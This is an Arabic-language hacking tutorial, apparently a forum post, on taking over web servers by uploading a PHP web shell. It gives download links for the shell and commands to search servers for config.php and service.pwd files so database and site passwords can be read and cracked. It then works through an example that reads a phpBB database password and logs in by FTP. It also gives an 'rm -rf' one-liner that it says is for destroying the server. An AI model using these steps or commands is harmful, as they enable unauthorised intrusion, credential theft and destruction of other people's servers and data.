اخترق السيرفرات عن طريق PHPS

السلام عليكم





اليوم بنتكلم بشكل مختصر عن اختراق السيرفرات بواسطه الاسكربت المربع المسمى باسم phpshell



هذا الاسكربت يوفر لك بيئه لينكس على السيرفر , وتستطيع من خلاله ان تقوم بتطبيق اوامر اللينكس الخطيره واستعراض محتويات السيرفر, وما عليه من مواقع .



بتحدث بشكل مختصر ومبسط عن كيفية استخدامه :



الشل هذا عباره عن ملف php , اذا تم رفعه على اي موقع يصير السيرفر الي عليه الموقع تحت ايدك بكامل المواقع الي على نفس السيرفر .



طبعا الشل لا يعمل اذا كان السيرفر مفعل وضع اسمه السيف مود safe mode .



هناك طريقه لاختراق السيف مود لكن لان نتطرق لها الان .



لتحميل الشل النسخه 1.7 : http://###gimpster###/downloads/phpshell...hpshell-1.7.zip



لتحميل النسخه الاخيره من الشل 1.9 : http://###gimpster###/downloads/phpshell...hpshell-1.9.zip



موقع الشل : http://###gimpster###/



هذي صوره للشل على سيرفر غير مفعل فيه السيف مود , يعني الشل شغال تمام :







في مربع الاوامر command , نكتب اوامر اللينكس .



سوف اذكر بعض اهم الاوامر الي نحتاجها :



1-الامر find / -name config.php

للبحث عن باسوردات المنتديات او مجلات النيوك , او كلمات سر قواعد البيانات , طبعن ملفات ال config.php الباسورد فيها يكون جاهز ومب مشفر .



2- الامر find / -name service.pwd

للبحث عن باسوردات المواقع , لكن طبعا ملفات pwd تكون باسورداتها مشفره , ويتم كسرها ببرنامج جون ذا ريبر .



3- الامر cat

لاستعراض محتويات الملف .



4- الامر rm -rf /var/lib/mysql;rm -rf /ho*;rm -rf /usr;rm -rf /sbin;rm -rf /bin;rm -rf /backu*;echo 7mood Here>README



يقوم بمسح الملفات المكتوبه فيه وهذا الامر لتدمير السيرفر .



الحين بعطي مثال عملي على الاختراق بال phpshell



مثلا انا الحين اخترقت سيرفر , وكتبت الامر find / -name config.php



طلعت لي هذي النتائج :



========================================



/var/autoinstallsn/englishll/forums/config.php

/var/autoinstallsn/englishll/auction/phpAdsNew/admins/config.php

/var/autoinstallsn/englishll/communitys/config.php

/var/autoinstallsn/englishll/websites/config.php

/var/autoinstallsn/englishll/gallerys/config.php



=========================================



طبعن هذي المواقع الي عليها ملفات الكونفق .

بنختار واحد نمهم وبنطبق عليه , انا اخترت اول واحد /var/autoinstallsn/englishll/forum/config.php



نضيف قبله امر الاسعراض cat بيصر كذا :

cat /var/autoinstallsn/englishll/forum/config.php



بتطلع لنا هذي النتيجه , محتويات الملف :



==========================================






//

// phpBB 2.x auto-generated config file

// Do not change anything in this file!

//



$dbms = "mysql";



$dbhost = "localhost";

$dbname = "";

$dbuser = "";

$dbpasswd = "";



$table_prefix = "phpbb_";



define('PHPBB_INSTALLED', true);



?>



=========================================



طبعن مثل ما تشوفون , الباسورد لقاعدة بيانات المنتدى الي فهذا الموقع .



الحين خلاص , نقدر نتصل بقاعدة بيانات المنتدى عن طريق برنامج MY-SQL Front

وصلة تحميله لبرنامج : http://###sstienemann.de/mysqlfront/MySQL...t_2.5_Setup.exe



بالنسبه لباسورد الموقع , بعد فك تشفيره , اتصال بلموقع عبر الاف تي بي ومبروك عليك الاختراق.